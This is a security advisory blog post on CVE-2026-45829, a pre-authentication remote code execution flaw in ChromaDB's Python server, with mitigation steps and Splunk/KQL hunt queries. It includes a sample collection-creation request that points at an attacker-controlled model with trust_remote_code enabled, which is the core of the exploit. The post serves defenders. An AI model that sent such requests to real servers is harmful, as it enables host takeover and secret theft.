CVE-2026-45829: ChromaDB Pre-Auth RCE Risk in AI Stacks

CVE-2026-45829: ChromaDB Pre-Auth RCE Risk in AI Stacks | 2026

Executive Summary

CVE-2026-45829 is a critical ChromaDB flaw that can let unauthenticated attackers execute code on internet-exposed Python API servers used inside AI applications. HiddenLayer says the bug affects ChromaDB 1.0.0 and later, gave it a CVSS 10.0 rating, and found that roughly 73% of exposed instances it identified were running versions in the affected range. With 14+ million monthly downloads for the chromadb package, the issue matters well beyond a niche lab deployment.

What makes this bug especially dangerous is the placement of trust. ChromaDB can fetch a user-supplied Hugging Face model configuration and honor trust_remote_code: true before authentication is enforced. In practice, that turns a semantically helpful AI backend into a pre-auth exploit path. For defenders building retrieval, agentic, or internal knowledge apps, this is a reminder that the AI data plane can become part of the production attack path.

---

What is CVE-2026-45829?

CVE-2026-45829 is a critical code injection vulnerability in the Python FastAPI server implementation of ChromaDB. According to the NVD description and HiddenLayer research, an attacker can send a crafted request to the collection-creation API, point the server at a malicious model repository, set trust_remote_code to true, and cause remote code execution before the request is rejected for lack of authentication.

This matters because ChromaDB is often deployed as a retrieval backend for AI assistants, RAG pipelines, internal search, and agentic workflows. If the server is reachable over HTTP, compromise of the vector database tier may expose data, secrets, model configuration, and whatever the server process can access in the surrounding environment.

How the exploit works

1. Target the collection API — the attacker sends a request to a collection-creation endpoint that appears to be authenticated.
2. Supply a malicious model reference — the request includes attacker-controlled embedding model settings that point to a repository the attacker controls.
3. Enable remote code loading — the payload sets trust_remote_code: true, which allows Python code from that model repository to execute during model loading.
4. Trigger code execution before auth — ChromaDB loads and instantiates the embedding function before enforcing the auth check.
5. Keep the intrusion hidden in plain sight — the server may return an error afterward, but the payload has already executed.

A simplified example of the risky pattern is:

jsonCopy
{
  "name": "support-kb",
  "configuration": {
    "embedding_function": {
      "type": "huggingface",
      "model_name": "attacker-controlled/model",
      "kwargs": {
        "trust_remote_code": true
      }
    }
  }
}

The core design failure is not only missing validation. It is unsafe model loading plus late authentication.

---

Timeline: from disclosure to defender action

---

Why this matters for AI defenders

1. The AI retrieval layer becomes a production attack surface

Vector databases are increasingly deployed close to sensitive knowledge stores, internal documents, and application secrets. If an attacker can compromise the retrieval tier, they may not need to attack the application frontend first.

2. Model loading is code execution when trust is misplaced

The HiddenLayer write-up makes a point defenders should treat seriously: a model is not just passive data. If your stack allows untrusted model code to load dynamically, you are effectively executing third-party code in your production path.

3. Blast radius can reach secrets and adjacent services

Once code runs on the ChromaDB host, the attacker may gain access to environment variables, mounted secrets, cached credentials, and local storage. In loosely segmented AI environments, that can become a stepping stone for broader compromise. This is where network segmentation and strict secret scoping start to matter a lot more.

---

Affected versions and current patch uncertainty

Public reporting says the vulnerable behavior was introduced in ChromaDB 1.0.0 and HiddenLayer found it still present in 1.5.8. ChromaDB 1.5.9 was released on 2026-05-05, but public release notes did not clearly document a security fix for this issue, and BleepingComputer reported that the fix status remained unclear at publication time.

That means defenders should avoid a false sense of safety. If you run the Python FastAPI server and it is reachable by untrusted clients, treat the exposure as live risk until you independently confirm remediation.

---

Immediate actions to take

🔴 Remove public exposure where possible

If the Python API server is internet reachable, put it behind strict network controls immediately. Restrict access to only trusted application components or internal callers.

🔴 Prefer the Rust deployment path if feasible

HiddenLayer notes that the Rust-based deployment path is not affected. If your architecture allows it, moving away from the Python server is the clearest near-term risk reduction.

🔴 Audit model-loading behavior

Review whether any component in your AI stack permits loading public models or model code directly into runtime services. Disable or tightly control this path, especially where trust_remote_code is possible.

🟠 Hunt for signs of unexpected model fetches

Look for outbound requests from ChromaDB hosts to unexpected Hugging Face repositories, sudden model downloads, unusual process creation, or new files under model cache directories.

🟠 Rotate credentials after suspected exposure

If compromise is possible, assume credentials reachable by the ChromaDB process may have been exposed. Rotate tokens, API keys, database credentials, and any secrets mounted into the service.

🟠 Prepare incident response

Teams using AI backends in customer-facing or internal knowledge systems should prepare containment steps now: isolate the host, preserve logs, review network egress, and inspect adjacent services that shared credentials or storage.

---

Detection and investigation ideas

Security teams should look for:

• requests to collection-creation endpoints from unusual source IPs
• outbound traffic from ChromaDB servers to unfamiliar Hugging Face repositories
• execution of unexpected Python modules or child processes around collection creation events
• access to environment variables, secrets files, or credential stores from the ChromaDB process context
• new or modified model cache artifacts that do not map to approved deployments

Example Splunk hunt:

splCopy
index=app OR index=proxy OR index=edr
("/api/v2/tenants/" AND "/collections") OR "trust_remote_code" OR "huggingface"
| stats count min(_time) as firstSeen max(_time) as lastSeen by host, src_ip, uri, process_name, command_line

Example Sentinel / KQL hunt:

kqlCopy
DeviceProcessEvents
| where ProcessCommandLine has_any ("huggingface", "trust_remote_code", "chromadb")
| summarize FirstSeen=min(Timestamp), LastSeen=max(Timestamp), Count=count() by DeviceName, InitiatingProcessAccountName, ProcessCommandLine

---

Strategic takeaway

The deeper lesson behind CVE-2026-45829 is that AI infrastructure now has classic application security problems with AI-specific trust assumptions layered on top. ChromaDB is valuable because it sits between user questions, enterprise knowledge, and model inference. That same position makes it dangerous when authentication ordering, model trust, and runtime controls are weak.

For defenders, this is not just a ChromaDB story. It is a warning that any AI component allowed to dynamically fetch and execute external model code deserves the same scrutiny you would give an internet-facing admin service.

---

Frequently Asked Questions

What is CVE-2026-45829?

CVE-2026-45829 is a critical pre-auth remote code execution issue in the Python FastAPI version of ChromaDB. It lets an attacker trigger model loading before authentication is enforced.

Is every ChromaDB deployment affected?

No. Public reporting says the Python FastAPI server is the affected path. HiddenLayer says the Rust-based deployment path is not affected.

Is there a confirmed patch?

Not clearly from the public materials reviewed for this post. HiddenLayer reported the issue as unpatched in 1.5.8, and public 1.5.9 release notes did not clearly confirm a fix. Defenders should verify directly before assuming exposure is closed.

What should teams do first?

Remove public exposure, restrict access to trusted callers, review model loading behavior, and rotate secrets if compromise is suspected.

---

References

1. HiddenLayer — ChromaToast Served Pre-Auth
2. NVD — CVE-2026-45829
3. BleepingComputer — Max-severity flaw in ChromaDB for AI apps allows server hijacking
4. GitHub — ChromaDB 1.5.9 release
5. PyPI Stats — chromadb